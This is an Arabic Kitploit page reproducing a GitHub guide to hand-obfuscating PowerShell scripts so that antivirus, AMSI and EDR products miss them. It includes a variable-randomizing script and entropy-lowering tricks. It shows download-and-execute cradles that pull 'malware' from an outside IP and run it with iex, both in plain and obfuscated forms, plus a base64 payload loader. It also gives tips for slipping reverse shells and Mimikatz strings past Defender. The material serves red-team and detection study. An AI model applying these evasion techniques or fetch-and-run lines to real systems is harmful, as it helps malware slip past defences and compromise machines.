Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PowerShell-Obfuscation-Bible — A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests. | Kitploit
أدوات/GitHubGitHub/t3l3machus/powershell-obfuscation-bible
IDS/IPS EvasionPenetration TestingLearning & EducationRed TeamingCurated ResourcesPayload Development
GitHubt3l3machus/powershell-obfuscation-bible

PowerShell-Obfuscation-Bible

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.

1.2k139منذ 2 سنواتتمت المراجعة من قبل Kitploit
مشاركة

كتاب إخفاء PowerShell

Python License

مجموعة من التقنيات والأمثلة والقليل من النظري لإخفاء سكربتات PowerShell يدويًا لتجاوز الكشف القائم على التوقيعات (signature-based detection)، جُمعت لأغراض تعليمية. محتويات هذا المستودع هي نتيجة بحث شخصي، بما في ذلك قراءة مواد على الإنترنت وإجراء محاولات تجربة وخطأ في المختبرات واختبارات الاختراق. لا ينبغي أن تأخذ أي شيء كأمر مسلّم به.

عرض فيديو على يوتيوب: youtube.com/watch?v=tGFdmAh_lXE

⚠️ إخلاء مسؤولية: استخدام التقنيات والمفاهيم الموصوفة في هذا المستودع للوصول غير المصرح به إلى أنظمة ليس لديك الإذن باختبارها هو أمر غير قانوني. أنت مسؤول عن أفعالك. لا تكن شريرًا.

جدول المحتويات

  1. الإنتروبيا
  2. تحديد مشغلات الكشف
  3. إعادة تسمية الكائنات
  4. إخفاء القيم المنطقية
  5. مقاطعة علامات الاقتباس في Cmdlet
  6. مقاطعة Cmdlet بعلامة الإقحام
  7. تقنية Get-Command
  8. استبدال الحلقات
  9. استبدال الأوامر
  10. العبث بالسلاسل النصية
  11. إلحاق البيانات غير المفيدة
  12. إضافة أو إزالة التعليقات
  13. عشوائية حالة الأحرف
  14. إعادة ترتيب مكونات السكربت
  15. تنفيذ السكربت سطرًا بسطر

الإنتروبيا

المصطلح العلمي entropy، الذي يُعرَّف عمومًا بأنه مقياس العشوائية أو الاضطراب في نظام ما، مهم في التهرب من برامج مكافحة الفيروسات (AV). وذلك لأن البرمجيات الخبيثة غالبًا ما تحتوي على كود عشوائي للغاية ومشفّر و/أو مُرمَّز (مُخفى) لجعل تحليله وبالتالي اكتشافه أمرًا صعبًا. تستخدم منتجات مكافحة الفيروسات، ضمن طرق متعددة، تحليل الإنتروبيا لتحديد الملفات والحمولات (payloads) التي يحتمل أن تكون خبيثة.

من المهم فهم هذا المفهوم لأنه عند إخفاء الكود، يجب أن تضع في اعتبارك تباين الإنتروبيا الناتج عن التغييرات التي تختار إجراءها. كسر التوقيعات سهل، لكن إذا لم تنتبه إلى مستوى الإنتروبيا، فستكتشف أنظمة AV/EDR المتطورة الأمر.

مبدأ يجب وضعه في الاعتبار: كلما زادت الإنتروبيا، زاد احتمال أن تكون البيانات مخفية أو مشفرة، وزاد احتمال أن يكون الملف/الحمولة خبيثًا. لحسن الحظ، هناك طرق لخفضها.

قدّم Claude E. Shannon معادلة في ورقته البحثية عام 1948 A Mathematical Theory of Communication يمكن استخدامها لقياس الإنتروبيا في مجموعة بيانات. إليك تنفيذ بسيط بلغة Python لمقياس Shannon Entropy يمكنك استخدامه لقياس إنتروبيا الحمولات التي تطورها:

root@kitploit:~
#!/bin/python3
# Usage: python3 entropy.py <file>

import math, sys

def entropy(string):
    "Calculates the Shannon entropy of a UTF-8 encoded string"

    # decode the string as UTF-8
    unicode_string = string.decode('utf-8')

    # get probability of chars in string
    prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]

    # calculate the entropy
    entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])

    return entropy


f = open(sys.argv[1], 'rb')
content = f.read()
f.close()

print(entropy(content))

يمكنك أيضًا استخدام حاسبة Shannon Entropy عبر الإنترنت، أو أداة Sigcheck.exe من Microsoft مع الخيار -a.

تحديد مشغلات الكشف

الأمر الناضج والأنيق قبل الانطلاق في اختبارات إخفاء قائمة على التجربة والخطأ للتوصل إلى صيغة حمولة لا يتم الإبلاغ عنها، هو تحديد الجزء أو الأجزاء في السكربت التي تحفز اكتشاف البرمجيات الخبيثة. خاصة في السكربتات القصيرة مثل أوامر C2، قد تتمكن من إجراء تغييرات طفيفة وتختفي من الرادار فورًا.

أداة رائعة لتحديد مثل هذه المشغلات هي AMSITrigger. إليك مثال استخدام مع ملف يحتوي على سكربت خبيث. المنطقة الحمراء تشير إلى الجزء الذي يجب تطبيق الإخفاء عليه:

image

يمكنك أيضًا تحديد المشغلات يدويًا عن طريق تنفيذ السكربت جزءًا جزءًا.

إعادة تسمية الكائنات

عند إخفاء السكربتات، يجب أن تكون أولوية استبدال أسماء المتغيرات/الأصناف/الدوال بأسماء عشوائية. بهذه الطريقة، وبالاقتران مع تقنيات أخرى، ستتمكن من تجاوز الكشف بسهولة. لكن يجب أن تضع في اعتبارك الإنتروبيا للحمولات التي تطورها. لاحظ سكربت الـ reverse shell القياسي التالي الذي يتم اكتشافه عمومًا بواسطة معظم إن لم يكن كل برامج مكافحة الفيروسات:

image

الآن لاحظ النسخة المخفية التالية:

image

في هذه النسخة، استُبدلت جميع أسماء المتغيرات بأسماء عشوائية بطول 32 محرفًا. كما استبدلت (pwd).Path بـ $(gl). الحمولة لديها Shannon entropy تبلغ 4.96. وقت كتابة هذا، لا يتم اكتشافها بواسطة MS Defender ومجموعة من المنتجات الأخرى:

image

الآن لاحظ هذه النسخة:

image

هذه النسخة أيضًا استُبدلت فيها جميع أسماء المتغيرات، لكن هذه المرة بأسماء تتكون من عدد x من محارف 'f'، مما يؤدي إلى انخفاض كبير في إنتروبيا الحمولة. كما استبدلت (pwd).Path بـ $(gl) هنا أيضًا. ومرة أخرى، وقت كتابة هذا، لا يتم اكتشافها بواسطة MS Defender. الحمولة لديها Shannon entropy تبلغ 0.76.

image

⚡ كلتا النسختين تتجاوزان برامج مكافحة الفيروسات الشائعة، لكن النسخة الثانية لديها إنتروبيا أقل وستحظى على الأرجح بفرصة أفضل عند معالجتها بواسطة أنظمة EDR ومحركات مكافحة البرمجيات الخبيثة المتطورة الأخرى. ⚠️ أنا لا أقول إن الأداء الأفضل للنسخة الثانية من الحمولة في هذا المثال يعود بالتأكيد إلى مستوى الإنتروبيا (لا يمكنني معرفة ذلك فعلًا، فقد يكون السبب هو الطول أو كلاهما أو من يعلم ماذا)، لكنه جانب مهم يجب وضعه في الاعتبار عند إخفاء الأشياء، وهذا المثال يهدف إلى توضيح هذا المفهوم.

يمكنك استخدام السكربت أدناه لعشوائية أسماء المتغيرات في سكربت PowerShell. ⚠️ السكربت ليس مثاليًا! إذا شغّلته على سكربتات PowerShell كبيرة ومعقدة فقد يكسر وظائفها عن طريق استبدال أشياء لا ينبغي استبدالها. استخدمه بحذر وكن منتبهًا.

root@kitploit:~
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>

import re
from sys import argv
from uuid import uuid4

def get_file_content(path):
	f = open(path, 'r')
	content = f.read()
	f.close()
	return content
	

def main():

	payload = get_file_content(argv[1])
	used_var_names = []

	# Identify variables definitions in script
	variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
	variable_definitions.sort(key=len)
	variable_definitions.reverse()

	# Replace variable names
	for var in variable_definitions:
		
		var = var.strip("\n \r\t=")

		while True:
			
			new_var_name = uuid4().hex
			
			if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
				continue
				
			else:
				used_var_names.append(new_var_name)
				break	
						
		payload = payload.replace(var, f'${new_var_name}')
	
	print(payload + '\n')

	
main()

إخفاء القيم المنطقية

من الممتع والسهل للغاية استبدال قيم $True و$False بمكافئات منطقية أخرى، وهي غير محدودة حرفيًا. خاصة إذا حددت مشغل الكشف في حمولة معينة وكان يتضمن قيمة $True أو $False، فستتمكن غالبًا من تجاوز الكشف بمجرد استبدالها ببديل منطقي. جميع الأمثلة أدناه تُقيَّم إلى True. يمكنك عكسها إلى False بمجرد إضافة علامة تعجب قبل العبارة (مثلًا: ![bool]0x01):

  • التحويل القسري المنطقي (typecast) لأي شيء حرفيًا ليس 0 أو Null أو empty string سيعيد True:
root@kitploit:~
[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893)   # Boolean typecast of a negative number 
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]

# Well, you get the point.
  • التحويل القسري المنطقي لأي صنف (class) سيعيد True أيضًا:
root@kitploit:~
[bool][bool]
[bool][char]
[bool][int] 
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
  • نتيجة مقارنة تُقيَّم إلى True (وهذا بديهي):
root@kitploit:~
(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
  • أو يمكنك ببساطة انتزاع قيمة True من سمات كائن:
root@kitploit:~
$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
  • يمكنك مزج كل هذه الأشياء والأمور الغريبة بتركيب طرق بشعة للتعبير عن True أو False:
root@kitploit:~
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]

مقاطعة علامات الاقتباس في Cmdlet

يمكنك إخفاء الأوامر cmdlets عن طريق إضافة علامات اقتباس مفردة و/أو مزدوجة بين محارفها، طالما أن ذلك ليس في البداية. إنها فعّالة للغاية! على سبيل المثال، يمكن استبدال العبارة iex "pwd" بـ:

root@kitploit:~
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"

# and so on... but also:

i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""

# You get the point.

مقاطعة Cmdlet بعلامة الإقحام

هذا الأسلوب متسخ بعض الشيء لكنه قد يكون مفيدًا. في طرفية Windows CMD، من الممكن إلحاق رمز الإقحام (^) بين محارف الأمر وسيظل يُفسَّر بشكل طبيعي. في سكربت PowerShell، إحدى طرق الاستفادة من ذلك هي:

root@kitploit:~
cmd /c "who^am^i"

Untistled

تقنية Get-Command

خدعة رائعة حقًا أراني إياها صديقي والهاكر العظيم Karol Musolff (@kmusolff). يمكنك استخدام Get-Command (أو gcm) لاسترداد اسم (سلسلة نصية) أي أمر، بما في ذلك جميع الملفات غير التابعة لـ PowerShell في متغير البيئة Path ($env:Path) باستخدام أحرف البدل (wildcards). يمكنك بعد ذلك تشغيلها باستخدام عامل التشغيل &. على سبيل المثال، السطر التالي:

root@kitploit:~
Invoke-RestMethod -uri https://192.168.0.66/malware | iex

يمكن إخفاؤه إلى:

root@kitploit:~
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

أو حتى أفضل، هذا الذي لديه قيمة Shannon entropy أقل:

root@kitploit:~
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

استبدال الحلقات

هناك حلقات معينة يمكن استبدالها بأنواع حلقات أخرى أو بدوال. على سبيل المثال، حلقة While ($True){ # some code } يمكن استبدالها بما يلي:

حلقة For لا نهائية

root@kitploit:~
For (;;) { # some code }

حلقة Do-While

root@kitploit:~
Do { # some code } While ($true)

حلقة Do-Until

root@kitploit:~
Do { # some code } Until (1 -eq 2)

دالة عودية (recursive)

root@kitploit:~
function runToInfinity { 
 # do something;  
 runToInfinity;
}

إلحاق البيانات غير المفيدة

إضافة/إزالة المعاملات

يمكنك تجربة إضافة معاملات إلى أمر cmdlet. على سبيل المثال، السطر التالي:

root@kitploit:~
iex "whoami"

يمكن توسيعه إلى:

root@kitploit:~
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"

يمكنك بالطبع تجربة العكس.

إلحاق كائنات عشوائية

يمكنك "تلويث" سكربت بمتغيرات ودوال عشوائية. افترض أن السكربت التالي خبيث:

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); 
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;

قد تتمكن من كسر توقيعه بفعل شيء مثل:

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;

استبدال الأوامر

يمكنك دائمًا البحث عن أوامر أو حتى كتل كود كاملة في سكربت يمكنك استبدالها بمكونات ذات وظائف مكافئة/مشابهة. في سكربت الـ reverse shell الكلاسيكي التالي، يُستخدم الأمر pwd لاسترداد دليل العمل الحالي وإعادة بناء قيمة موجه الأوامر (prompt) للصدفة:

image

يمكن استبدال الجزء (pwd).Path بالسكربت الصغير الغريب وغير التقليدي التالي، وعلى الرغم من أنه يتضمن حتى pwd فإنه يخدم غرضنا في كسر التوقيع مع الحفاظ على وظائف السكربت:

root@kitploit:~
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"

هناك بالطبع بدائل أبسط لـ pwd مثل gl وget-location وcmd.exe /c chdir قد تفي بالغرض، خاصة عند دمجها مع تقنيات أخرى.

العبث بالسلاسل النصية

لا حدود لما يمكن فعله بالسلاسل النصية. تجد أدناه بعض المفاهيم المثيرة للاهتمام. تستخدم الأمثلة السلسلة النصية 'malware':

تحويل سلسلة نصية إلى here-string

على حساب إضافة بضعة أسطر جديدة، يمكنك تحويل سلسلة نصية إلى here-string.
هذا:

root@kitploit:~
$x = 'echo malware';
iex $x;

مطابق لـ:

root@kitploit:~
$x = 'echo malware';
iex @"
$x
"@

عكس السلاسل النصية

root@kitploit:~
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""

التسلسل (Concatenation)

أمر مباشر وتقليدي:

root@kitploit:~
'mal' + 'w' + 'ar' + 'e'

استخراج سلسلة نصية من سلسلة فرعية:

أضف القيمة المطلوبة بين سلسلة نصية غير ذات صلة واستخدم substring() لاستخراجها بناءً على مؤشرات البداية والنهاية:

root@kitploit:~
'xxxmalwarexxx'.Substring(3,7)

استبدال سلسلة نصية عبر مطابقة regex:

أنشئ سلسلة نصية غير مفيدة واستبدلها بالقيمة المطلوبة عبر مطابقة regex:

root@kitploit:~
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'

فك ترميز Base64 للسلسلة المطلوبة:

قم بترميز السلسلة النصية وفك تشفيرها داخل السكربت:

root@kitploit:~
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))

الحصول على محارف السلسلة المطلوبة من البايتات:

root@kitploit:~
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"

هذا فقط لتبدأ به. يُستكمل لاحقًا...

إضافة أو إزالة التعليقات

إلحاق التعليقات

قد ينجح إخفاء سكربت بمجرد إلحاق تعليقات هنا وهناك.
على سبيل المثال، يمكن إخفاء أمر reverse shell هكذا:

النص الأصلي (أمر r-shell شائع يسهل اكتشافه بواسطة برامج مكافحة الفيروسات)

image

النسخة المعدلة (تم إلحاق <# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> في مواضع مختلفة)

image

هذا لن ينجح فقط، بل سيخفض أيضًا قيمة Shannon entropy للحمولة (بشرط ألا تستخدم تعليقات عشوائية معقدة).

إزالة التعليقات

هناك سلاسل نصية شبيهة بالبرمجيات الخبيثة تحفز AMSI فورًا، ويجب أن تكون من الأولويات استبدالها عند إخفاء السكربتات. انظر إلى هذا:

image

فقط بكتابة السلسلة النصية 'invoke-mimikatz' في الطرفية يصاب AMSI بانهيار (السكربت غير حاضر/محمَّل حتى). قد توجد هذه السلاسل النصية في التعليقات أيضًا، لذا من الجيد إزالتها، خاصة من الموارد مفتوحة المصدر التي تحصل عليها من الإنترنت (مثلًا: Invoke-Mimikatz.ps1 من GitHub).

*بشكل عام، إزالة التعليقات فكرة جيدة. كان هذا مجرد مثال.

عشوائية حالة الأحرف

ربما أقدم خدعة في الكتاب. عشوائية حالة الأحرف في الأوامر cmdlets والمعاملات قد تساعد:

root@kitploit:~
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug

إعادة ترتيب مكونات السكربت

أحيانًا قد ينجح مجرد نقل المتغيرات والأصناف إلى مواقع مختلفة، خاصة إذا كنت قد وجدت مشغل الكشف وكان يتضمن تعريف متغير يمكن أن يحدث في مكان آخر، مثل بداية السكربت.

تنفيذ السكربت سطرًا بسطر

أحيانًا، من الممكن تحقيق التهرب من برامج مكافحة الفيروسات بمجرد تنفيذ سكربت خبيث سطرًا بسطر. قد يكون هذا بالطبع أمرًا صعب التحقيق في ظل الظروف. إذا جربت ذلك، فانتبه إلى كتل السكربت التي يجب تنفيذها كوحدة واحدة (مثل: الحلقات، كتل try-catch، العبارات الشرطية، تعريفات الدوال، إلخ). لاختبار ذلك، يمكنك أخذ سكربت reverse shell شائع في PowerShell (بدون تطبيق أي إخفاء) وتنفيذه سطرًا بسطر. هل يتم الإبلاغ عنه؟ ;)

تنزيل الأداة